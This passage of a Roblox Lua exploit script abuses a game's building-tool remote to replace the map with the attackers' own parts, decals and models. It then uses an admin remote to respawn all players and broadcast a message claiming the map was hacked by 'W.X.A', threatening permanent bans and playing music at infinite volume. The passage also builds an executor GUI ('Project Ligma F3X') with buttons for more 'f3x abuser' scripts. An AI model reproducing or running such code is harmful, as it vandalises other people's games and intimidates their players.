			if P[456] then collisionBatch[#collisionBatch+1] = {Part = P[456], CanCollide = true} end
			if P[467] then collisionBatch[#collisionBatch+1] = {Part = P[467], CanCollide = true} end
			if P[123] then collisionBatch[#collisionBatch+1] = {Part = P[123], CanCollide = true} end
			if P[773] then collisionBatch[#collisionBatch+1] = {Part = P[773], CanCollide = true} end
			if P[652] then collisionBatch[#collisionBatch+1] = {Part = P[652], CanCollide = true} end
			if P[655] then collisionBatch[#collisionBatch+1] = {Part = P[655], CanCollide = true} end
			if P[688] then collisionBatch[#collisionBatch+1] = {Part = P[688], CanCollide = true} end
			if P[761] then collisionBatch[#collisionBatch+1] = {Part = P[761], CanCollide = true} end
			if P[755] then collisionBatch[#collisionBatch+1] = {Part = P[755], CanCollide = true} end
			if P[549] then collisionBatch[#collisionBatch+1] = {Part = P[549], CanCollide = true} end
			if P[741] then collisionBatch[#collisionBatch+1] = {Part = P[741], CanCollide = true} end
			if P[494] then collisionBatch[#collisionBatch+1] = {Part = P[494], CanCollide = true} end
			if P[433] then collisionBatch[#collisionBatch+1] = {Part = P[433], CanCollide = true} end
			if P[238] then collisionBatch[#collisionBatch+1] = {Part = P[238], CanCollide = true} end
			if P[537] then collisionBatch[#collisionBatch+1] = {Part = P[537], CanCollide = true} end
			if P[729] then collisionBatch[#collisionBatch+1] = {Part = P[729], CanCollide = true} end
			if P[227] then collisionBatch[#collisionBatch+1] = {Part = P[227], CanCollide = true} end
			if P[712] then collisionBatch[#collisionBatch+1] = {Part = P[712], CanCollide = true} end
			if P[96] then collisionBatch[#collisionBatch+1] = {Part = P[96], CanCollide = true} end
			if P[546] then collisionBatch[#collisionBatch+1] = {Part = P[546], CanCollide = true} end
			if P[724] then collisionBatch[#collisionBatch+1] = {Part = P[724], CanCollide = true} end
			if P[482] then collisionBatch[#collisionBatch+1] = {Part = P[482], CanCollide = true} end
			if P[603] then collisionBatch[#collisionBatch+1] = {Part = P[603], CanCollide = true} end
			if P[639] then collisionBatch[#collisionBatch+1] = {Part = P[639], CanCollide = true} end
			if P[716] then collisionBatch[#collisionBatch+1] = {Part = P[716], CanCollide = true} end
			if P[265] then collisionBatch[#collisionBatch+1] = {Part = P[265], CanCollide = true} end
			if P[552] then collisionBatch[#collisionBatch+1] = {Part = P[552], CanCollide = true} end
			if P[709] then collisionBatch[#collisionBatch+1] = {Part = P[709], CanCollide = true} end
			if P[674] then collisionBatch[#collisionBatch+1] = {Part = P[674], CanCollide = true} end
			if P[87] then collisionBatch[#collisionBatch+1] = {Part = P[87], CanCollide = true} end
			if P[583] then collisionBatch[#collisionBatch+1] = {Part = P[583], CanCollide = true} end
			if P[256] then collisionBatch[#collisionBatch+1] = {Part = P[256], CanCollide = true} end
			if P[105] then collisionBatch[#collisionBatch+1] = {Part = P[105], CanCollide = true} end
			if P[516] then collisionBatch[#collisionBatch+1] = {Part = P[516], CanCollide = true} end
			if P[682] then collisionBatch[#collisionBatch+1] = {Part = P[682], CanCollide = true} end
			if P[485] then collisionBatch[#collisionBatch+1] = {Part = P[485], CanCollide = true} end
			if P[564] then collisionBatch[#collisionBatch+1] = {Part = P[564], CanCollide = true} end
			if P[665] then collisionBatch[#collisionBatch+1] = {Part = P[665], CanCollide = true} end
			if P[430] then collisionBatch[#collisionBatch+1] = {Part = P[430], CanCollide = true} end
			if P[543] then collisionBatch[#collisionBatch+1] = {Part = P[543], CanCollide = true} end
			if P[662] then collisionBatch[#collisionBatch+1] = {Part = P[662], CanCollide = true} end
			if P[659] then collisionBatch[#collisionBatch+1] = {Part = P[659], CanCollide = true} end
			if P[591] then collisionBatch[#collisionBatch+1] = {Part = P[591], CanCollide = true} end
			if P[513] then collisionBatch[#collisionBatch+1] = {Part = P[513], CanCollide = true} end
			if P[454] then collisionBatch[#collisionBatch+1] = {Part = P[454], CanCollide = true} end
			if P[458] then collisionBatch[#collisionBatch+1] = {Part = P[458], CanCollide = true} end
			if P[451] then collisionBatch[#collisionBatch+1] = {Part = P[451], CanCollide = true} end
			if P[644] then collisionBatch[#collisionBatch+1] = {Part = P[644], CanCollide = true} end
			batchCollision(endpoint, collisionBatch)
			local lockTasks, nameTasks = {}, {}
	
			if P[21] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[21], "P") end) end
			if P[22] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[22], "D") end) end
			if P[23] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[23], "L") end) end
			if P[24] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[24], "L") end) end
			if P[25] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[25], "E") end) end
			if P[26] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[26], "D") end) end
			if P[27] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[27], "R") end) end
			if P[28] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[28], "O") end) end
			if P[29] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[29], "R") end) end
			if P[30] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[30], "A") end) end
			if P[31] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[31], "P") end) end
			if P[32] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[32], "D") end) end
			if P[33] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[33], "ThreeDTextHandle") end) end
			if P[34] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[34], "T") end) end
			if P[35] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[35], "E") end) end
			if P[36] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[36], "M") end) end
			if P[37] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[37], "B") end) end
			if P[38] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[38], "A") end) end
			if P[39] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[39], "T") end) end
			if P[40] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[40], "A") end) end
			if P[41] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[41], "ThreeDTextBoundingBox") end) end
			if P[42] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[42], "Y") end) end
			if P[43] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[43], "E") end) end
			if P[44] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[44], "O") end) end
			if P[45] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[45], "I") end) end
			if P[46] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[46], "E") end) end
			if P[151] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[151], "HumanoidRootPart") end) end
			if P[673] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[673], "DropZone4") end) end
			if P[675] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[675], "Truss") end) end
			if P[166] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[166], true) end) end
			if P[166] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[166], "RightUpperLeg") end) end
			if P[435] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[435], "Deca") end) end
			if P[175] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[175], true) end) end
			if P[175] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[175], "RightUpperArm") end) end
			if P[663] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[663], "Part1") end) end
			if P[648] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[648], "SpawnLocation2") end) end
			if P[82] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[82], true) end) end
			if P[82] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[82], "Handle") end) end
			if P[204] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[204], true) end) end
			if P[204] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[204], "UpperTorso") end) end
			if P[114] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[114], true) end) end
			if P[114] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[114], "LeftFoot") end) end
			if P[670] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[670], "DropZone3") end) end
			if P[271] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[271], "ScoreBlock") end) end
			if P[532] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[532], "MeshPart") end) end
			if P[671] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[671], "DropZone1") end) end
			if P[268] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[268], "LightSource") end) end
			if P[653] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[653], "SpawnLocation3") end) end
			if P[661] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[661], "Truss") end) end
			if P[186] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[186], true) end) end
			if P[186] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[186], "Head") end) end
			if P[646] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[646], "SpawnLocation1") end) end
			if P[132] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[132], true) end) end
			if P[132] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[132], "LowerTorso") end) end
			if P[157] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[157], true) end) end
			if P[157] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[157], "RightLowerLeg") end) end
			if P[247] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[247], true) end) end
			if P[247] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[247], "RightHand") end) end
			if P[660] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[660], "Truss") end) end
			if P[672] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[672], "DropZone5") end) end
			if P[123] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[123], true) end) end
			if P[123] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[123], "LeftHand") end) end
			if P[238] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[238], true) end) end
			if P[238] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[238], "LeftLowerArm") end) end
			if P[227] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[227], true) end) end
			if P[227] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[227], "LeftUpperArm") end) end
			if P[96] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[96], true) end) end
			if P[96] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[96], "LeftUpperLeg") end) end
			if P[265] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[265], "UpdateBoardTimer") end) end
			if P[674] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[674], "DropZone2") end) end
			if P[87] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[87], true) end) end
			if P[87] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[87], "RightFoot") end) end
			if P[256] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[256], true) end) end
			if P[256] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[256], "RightLowerArm") end) end
			if P[105] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[105], true) end) end
			if P[105] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[105], "LeftLowerLeg") end) end
			if P[659] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[659], "Truss") end) end
			task.wait(0.2)
			if P[575] then
				task.spawn(function()
					createMesh(endpoint, P[575])
					syncMeshType(endpoint, P[575], Enum.MeshType.Wedge)
					syncMeshScale(endpoint, P[575], Vector3.new(1,1,1))
					syncMeshOffset(endpoint, P[575], Vector3.new(0,0,0))
				end)
			end
			if P[595] then
				task.spawn(function()
					createMesh(endpoint, P[595])
					syncMeshType(endpoint, P[595], Enum.MeshType.FileMesh)
					syncMeshScale(endpoint, P[595], Vector3.new(0.4843750298023224,1.9375001192092896,0.4843750298023224))
					syncMeshOffset(endpoint, P[595], Vector3.new(0,0,0))
					syncMeshId(endpoint, P[595], "http://www.roblox.com/asset/?id=3270017")
				end)
			end
			task.wait(0.3)
			if P[72] then
				task.spawn(function()
					createDecal(endpoint, P[72], Enum.NormalId.Right)
					setDecalTexture(endpoint, P[72], "http://www.roblox.com/asset/?id=6157808925", Enum.NormalId.Right)
				end)
			end
			if P[72] then
				task.spawn(function()
					createDecal(endpoint, P[72], Enum.NormalId.Front)
					setDecalTexture(endpoint, P[72], "http://www.roblox.com/asset/?id=6157808925", Enum.NormalId.Front)
				end)
			end
			if P[72] then
				task.spawn(function()
					createDecal(endpoint, P[72], Enum.NormalId.Left)
					setDecalTexture(endpoint, P[72], "http://www.roblox.com/asset/?id=6157808925", Enum.NormalId.Left)
				end)
			end
			if P[72] then
				task.spawn(function()
					createDecal(endpoint, P[72], Enum.NormalId.Top)
					setDecalTexture(endpoint, P[72], "http://www.roblox.com/asset/?id=6157808925", Enum.NormalId.Top)
				end)
			end
			if P[72] then
				task.spawn(function()
					createDecal(endpoint, P[72], Enum.NormalId.Back)
					setDecalTexture(endpoint, P[72], "http://www.roblox.com/asset/?id=6157808925", Enum.NormalId.Back)
				end)
			end
			if P[186] then
				task.spawn(function()
					createDecal(endpoint, P[186], Enum.NormalId.Front)
					setDecalTexture(endpoint, P[186], "http://www.roblox.com/asset/?id=144080495 ", Enum.NormalId.Front)
				end)
			end
			if P[435] then
				task.spawn(function()
					createDecal(endpoint, P[435], Enum.NormalId.Front)
					setDecalTexture(endpoint, P[435], "rbxassetid://13059139679", Enum.NormalId.Front)
					setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
				end)
			end
			if P[435] then
				task.spawn(function()
					createDecal(endpoint, P[435], Enum.NormalId.Front)
					setDecalTexture(endpoint, P[435], "rbxassetid://13059199929", Enum.NormalId.Front)
					setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
				end)
			end
			if P[435] then
				task.spawn(function()
					createDecal(endpoint, P[435], Enum.NormalId.Front)
					setDecalTexture(endpoint, P[435], "rbxassetid://13059086913", Enum.NormalId.Front)
					setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
				end)
			end
			if P[435] then
				task.spawn(function()
					createDecal(endpoint, P[435], Enum.NormalId.Front)
					setDecalTexture(endpoint, P[435], "rbxassetid://13059079081", Enum.NormalId.Front)
					setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
				end)
			end
			if P[435] then
				task.spawn(function()
					createDecal(endpoint, P[435], Enum.NormalId.Front)
					setDecalTexture(endpoint, P[435], "rbxassetid://13059235017", Enum.NormalId.Front)
					setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
				end)
			end
			if P[435] then
				task.spawn(function()
					createDecal(endpoint, P[435], Enum.NormalId.Front)
					setDecalTexture(endpoint, P[435], "rbxassetid://13059122107", Enum.NormalId.Front)
					setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
				end)
			end
			if P[435] then
				task.spawn(function()
					createDecal(endpoint, P[435], Enum.NormalId.Front)
					setDecalTexture(endpoint, P[435], "rbxassetid://13059235017", Enum.NormalId.Front)
				end)
			end
			if P[435] then
				task.spawn(function()
					createDecal(endpoint, P[435], Enum.NormalId.Front)
					setDecalTexture(endpoint, P[435], "rbxassetid://13059062216", Enum.NormalId.Front)
					setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
				end)
			end
			if P[435] then
				task.spawn(function()
					createDecal(endpoint, P[435], Enum.NormalId.Front)
					setDecalTexture(endpoint, P[435], "rbxassetid://13059187920", Enum.NormalId.Front)
					setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
				end)
			end
			if P[435] then
				task.spawn(function()
					createDecal(endpoint, P[435], Enum.NormalId.Front)
					setDecalTexture(endpoint, P[435], "rbxassetid://13059100365", Enum.NormalId.Front)
					setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
				end)
			end
			if P[435] then
				task.spawn(function()
					createDecal(endpoint, P[435], Enum.NormalId.Front)
					setDecalTexture(endpoint, P[435], "rbxassetid://13059207998", Enum.NormalId.Front)
					setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
				end)
			end
			if P[435] then
				task.spawn(function()
					createDecal(endpoint, P[435], Enum.NormalId.Front)
					setDecalTexture(endpoint, P[435], "rbxassetid://13059164385", Enum.NormalId.Front)
					setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front)
				end)
			end
			if P[644] then
				task.spawn(function()
					createDecal(endpoint, P[644], Enum.NormalId.Top)
					setDecalTexture(endpoint, P[644], "rbxassetid://83686330220442", Enum.NormalId.Top)
				end)
			end
			if P[646] then
				task.spawn(function()
					createDecal(endpoint, P[646], Enum.NormalId.Top)
					setDecalTexture(endpoint, P[646], "rbxasset://textures/SpawnLocation.png", Enum.NormalId.Top)
				end)
			end
			if P[648] then
				task.spawn(function()
					createDecal(endpoint, P[648], Enum.NormalId.Top)
					setDecalTexture(endpoint, P[648], "rbxasset://textures/SpawnLocation.png", Enum.NormalId.Top)
				end)
			end
			if P[650] then
				task.spawn(function()
					createDecal(endpoint, P[650], Enum.NormalId.Top)
					setDecalTexture(endpoint, P[650], "rbxassetid://83686330220442", Enum.NormalId.Top)
				end)
			end
			if P[653] then
				task.spawn(function()
					createDecal(endpoint, P[653], Enum.NormalId.Top)
					setDecalTexture(endpoint, P[653], "rbxasset://textures/SpawnLocation.png", Enum.NormalId.Top)
				end)
			end
			if P[657] then
				task.spawn(function()
					createDecal(endpoint, P[657], Enum.NormalId.Top)
					setDecalTexture(endpoint, P[657], "rbxassetid://83686330220442", Enum.NormalId.Top)
				end)
			end
			if P[665] then
				task.spawn(function()
					createDecal(endpoint, P[665], Enum.NormalId.Top)
					setDecalTexture(endpoint, P[665], "rbxassetid://83686330220442", Enum.NormalId.Top)
				end)
			end
			if P[667] then
				task.spawn(function()
					createDecal(endpoint, P[667], Enum.NormalId.Top)
					setDecalTexture(endpoint, P[667], "rbxassetid://83686330220442", Enum.NormalId.Top)
				end)
			end
			if P[677] then
				task.spawn(function()
					createDecal(endpoint, P[677], Enum.NormalId.Top)
					setDecalTexture(endpoint, P[677], "rbxassetid://83686330220442", Enum.NormalId.Top)
				end)
			end
			task.wait(0.3)
			if P[268] then
				task.spawn(function()
					createLight(endpoint, P[268], "SpotLight")
					syncLight(endpoint, P[268], "SpotLight", 10, 16, Color3.new(1,1,1), false, nil, 90)
				end)
			end
			if P[435] then
				task.spawn(function()
					createLight(endpoint, P[435], "SurfaceLight")
					syncLight(endpoint, P[435], "SurfaceLight", 3, 20, Color3.new(1,1,1), true, Enum.NormalId.Front, 90)
				end)
			end
			task.wait(0.3)
			local G = {}
			task.spawn(function()
				G[536] = createGroup(endpoint, "Model", workspace, {537,540,543,546,549,552,555,558,561,564,567})
				setName(endpoint, G[536], "FallingModel2")
			end)
			task.spawn(function()
				G[715] = createGroup(endpoint, "Model", workspace, {716,720,724,729,732,736,741,745,751,755,761,767,770,773})
				setName(endpoint, G[715], "FallingModel4")
			end)
			task.spawn(function()
				G[463] = createGroup(endpoint, "Model", workspace, {464,467,470,473,476,479,482,485,488,491,494})
				setName(endpoint, G[463], "FallingModel2")
			end)
			task.spawn(function()
				G[52] = createGroup(endpoint, "Model", workspace, {87,96,105,114,123,132,151,157,166,175,186,204,227,238,247,256})
				setName(endpoint, G[52], "Rig")
			end)
			task.spawn(function()
				G[681] = createGroup(endpoint, "Model", workspace, {682,685,688,691,694,697,700,703,706,709,712})
				setName(endpoint, G[681], "FallingModel2")
			end)
			task.spawn(function()
				G[4] = createGroup(endpoint, "Model", workspace, {265,268,270,271,428})
				setName(endpoint, G[4], "TimePlayedLeaderboard")
			end)
			task.spawn(function()
				G[7] = createGroup(endpoint, "Model", workspace, {8,9,10,11,12})
				setName(endpoint, G[7], "Pole")
			end)
			task.spawn(function()
				G[497] = createGroup(endpoint, "Model", workspace, {498,501,504,507,510,513,516,519,522,525,528})
				setName(endpoint, G[497], "FallingModel2")
			end)
			task.spawn(function()
				G[13] = createGroup(endpoint, "Model", workspace, {14,15,16,17,18})
				setName(endpoint, G[13], "Pole")
			end)
			task.spawn(function()
				G[570] = createGroup(endpoint, "Model", workspace, {571,575,579,583,587,591,595,599,603,607,611,615,619,623,627,631,635,639})
				setName(endpoint, G[570], "FallingModel6")
			end)
			task.spawn(function()
				G[71] = createGroup(endpoint, "Model", workspace, {72,78})
				setName(endpoint, G[71], "Pedestal")
			end)
			task.spawn(function()
				G[19] = createGroup(endpoint, "Model", workspace, {21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46})
				setName(endpoint, G[19], "ThreeDTextObject")
			end)
			task.spawn(function()
				G[429] = createGroup(endpoint, "Model", workspace, {430,433,435,451,454,456,458,461})
				setName(endpoint, G[429], "Nyan-Cat TV")
			end)
			task.spawn(function()
				G[531] = createGroup(endpoint, "Model", workspace, {532})
				setName(endpoint, G[531], "FallingModel5")
			end)
			task.wait(0.3)
			task.wait(0.5)
			local missed = {}
			for id, part in pairs(P) do
				if part and not part.Anchored then
					missed[#missed+1] = {Part = part, Anchored = true}
				end
			end
			if #missed > 0 then
				print("Fixing", #missed, "missed anchor(s)...")
				for i = 1, #missed, 100 do
					local chunk = {}
					for j = i, math.min(i+99, #missed) do
						chunk[#chunk+1] = missed[j]
					end
					endpoint:InvokeServer("SyncAnchor", chunk)
					task.wait()
				end
			end
	
			RequestCommand:InvokeServer(";res all")
			task.wait(0.2)
			RequestCommand:InvokeServer(";re all")
			task.wait(0.2)
			RequestCommand:InvokeServer(";sm MAP HAS BEEN HAX BY W.X.A And x9d uwu :3! IF YOU GO BACK INTO THE GAME AND DON'T COMPLETE THIS OBBY YOU WILL BE PERM BANNED! COMPLETE THIS OBBY AND YOU WILL BE PUT BACK INTO THE NORMAL GAME")
			task.wait(0.1)
			RequestCommand:InvokeServer(";sh MAP HAS BEEN HAX BY W.X.A And x9d uwu :3! IF YOU GO BACK INTO THE GAME AND DON'T COMPLETE THIS OBBY YOU WILL BE PERM BANNED! COMPLETE THIS OBBY AND YOU WILL BE PUT BACK INTO THE NORMAL GAME")
			task.wait(0.1)
			RequestCommand:InvokeServer(";music 99821204090088 ;pitch 0.1 ;volume inf")
	end)
	
end;
task.spawn(C_55);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_57()
local script = G2L["57"];
	script.Parent.MouseButton1Click:Connect(function()
		local ligmaXD = Instance.new("ScreenGui")
		local Frame = Instance.new("Frame")
		local execute = Instance.new("TextButton")
		local clear = Instance.new("TextButton")
		local TextLabel = Instance.new("TextLabel")
		local image = Instance.new("ImageLabel")
		local TextBox = Instance.new("TextBox")
		local exit = Instance.new("TextButton")
		local Frame_2 = Instance.new("Frame")
		local gcg = Instance.new("TextButton")
		local tuff = Instance.new("TextButton")
		local gguns = Instance.new("TextButton")
		local infyield = Instance.new("TextButton")
		local oneg = Instance.new("TextButton")
		local cmess = Instance.new("TextButton")
		local ImageLabel = Instance.new("ImageLabel")
		local TextLabel_2 = Instance.new("TextLabel")
	
		--Properties:
	
		ligmaXD.Name = "ligmaXD"
		ligmaXD.Parent = game.CoreGui
	
		Frame.Parent = ligmaXD
		Frame.Active = true
		Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		Frame.Position = UDim2.new(0.187817261, 0, 0.21384424, 0)
		Frame.Size = UDim2.new(0, 790, 0, 431)
	
		execute.Name = "execute"
		execute.Parent = Frame
		execute.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		execute.Position = UDim2.new(0.698806822, 0, 0.0863522813, 0)
		execute.Size = UDim2.new(0, 75, 0, 200)
		execute.Font = Enum.Font.SourceSans
		execute.Text = "EXE"
		execute.TextColor3 = Color3.fromRGB(0, 0, 0)
		execute.TextSize = 14.000
	
		clear.Name = "clear"
		clear.Parent = Frame
		clear.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		clear.Position = UDim2.new(0.698806822, 0, 0.550389409, 0)
		clear.Size = UDim2.new(0, 75, 0, 176)
		clear.Font = Enum.Font.SourceSans
		clear.Text = "CLEAR"
		clear.TextColor3 = Color3.fromRGB(0, 0, 0)
		clear.TextSize = 14.000
	
		TextLabel.Parent = Frame
		TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel.BorderSizePixel = 0
		TextLabel.Position = UDim2.new(0.0428340882, 0, 0, 0)
		TextLabel.Size = UDim2.new(0, 602, 0, 22)
		TextLabel.Font = Enum.Font.SourceSans
		TextLabel.Text = "Project Ligma F3X by W.X.A"
		TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel.TextSize = 14.000
		TextLabel.TextXAlignment = Enum.TextXAlignment.Left
	
		image.Name = "image"
		image.Parent = Frame
		image.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		image.BorderSizePixel = 0
		image.Size = UDim2.new(0, 23, 0, 22)
		image.Image = "rbxassetid://87162794"
	
		TextBox.Parent = Frame
		TextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextBox.Position = UDim2.new(0.0159489494, 0, 0.0863522813, 0)
		TextBox.Size = UDim2.new(0, 540, 0, 376)
		TextBox.ClearTextOnFocus = false
		TextBox.Font = Enum.Font.SourceSans
		TextBox.Text = ""
		TextBox.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextBox.TextSize = 14.000
		TextBox.TextXAlignment = Enum.TextXAlignment.Left
		TextBox.TextYAlignment = Enum.TextYAlignment.Top
	
		exit.Name = "exit"
		exit.Parent = Frame
		exit.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		exit.BorderSizePixel = 0
		exit.Position = UDim2.new(0.958532691, 0, 0.00262467191, 0)
		exit.Size = UDim2.new(0, 26, 0, 19)
		exit.Font = Enum.Font.SourceSans
		exit.Text = "X"
		exit.TextColor3 = Color3.fromRGB(0, 0, 0)
		exit.TextSize = 14.000
	
		Frame_2.Parent = Frame
		Frame_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		Frame_2.Position = UDim2.new(0.806329131, 0, 0.0904872417, 0)
		Frame_2.Size = UDim2.new(0, 145, 0, 374)
	
		gcg.Name = "gcg"
		gcg.Parent = Frame_2
		gcg.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		gcg.Position = UDim2.new(0, 0, 0.120525256, 0)
		gcg.Size = UDim2.new(0, 145, 0, 23)
		gcg.Font = Enum.Font.SourceSans
		gcg.Text = "NYXES GUI F3X"
		gcg.TextColor3 = Color3.fromRGB(0, 0, 0)
		gcg.TextSize = 14.000
	
		gguns.Name = "gguns"
		gguns.Parent = Frame_2
		gguns.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		gguns.Position = UDim2.new(0, 0, 0.0600222014, 0)
		gguns.Size = UDim2.new(0, 145, 0, 23)
		gguns.Font = Enum.Font.SourceSans
		gguns.Text = "UZI gun"
		gguns.TextColor3 = Color3.fromRGB(0, 0, 0)
		gguns.TextSize = 14.000
	
		infyield.Name = "infyield"
		infyield.Parent = Frame_2
		infyield.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		infyield.Position = UDim2.new(0, 0, -0.000480814837, 0)
		infyield.Size = UDim2.new(0, 145, 0, 23)
		infyield.Font = Enum.Font.SourceSans
		infyield.Text = "kidnapper police"
		infyield.TextColor3 = Color3.fromRGB(0, 0, 0)
		infyield.TextSize = 14.000
	
		oneg.Name = "oneg"
		oneg.Parent = Frame_2
		oneg.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		oneg.Position = UDim2.new(0, 0, 0.181028321, 0)
		oneg.Size = UDim2.new(0, 145, 0, 23)
		oneg.Font = Enum.Font.SourceSans
		oneg.Text = "Polaria"
		oneg.TextColor3 = Color3.fromRGB(0, 0, 0)
		oneg.TextSize = 14.000
	
		cmess.Name = "cmess"
		cmess.Parent = Frame_2
		cmess.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		cmess.Position = UDim2.new(0, 0, 0.241531447, 0)
		cmess.Size = UDim2.new(0, 145, 0, 23)
		cmess.Font = Enum.Font.SourceSans
		cmess.Text = "f3x abuser"
		cmess.TextColor3 = Color3.fromRGB(0, 0, 0)
		cmess.TextSize = 14.000
	
		ImageLabel.Parent = ligmaXD
		ImageLabel.Active = true
		ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		ImageLabel.BackgroundTransparency = 1.000
		ImageLabel.Position = UDim2.new(-0.127000004, 0, 0.407999992, 0)
		ImageLabel.Size = UDim2.new(0, 90, 0, 90)
		ImageLabel.Image = "rbxassetid://87162794"
	
	
		TextLabel_2.Parent = ImageLabel
		TextLabel_2.Active = true
		TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel_2.BackgroundTransparency = 1.000
		TextLabel_2.Position = UDim2.new(0.99999994, 0, 0, 0)
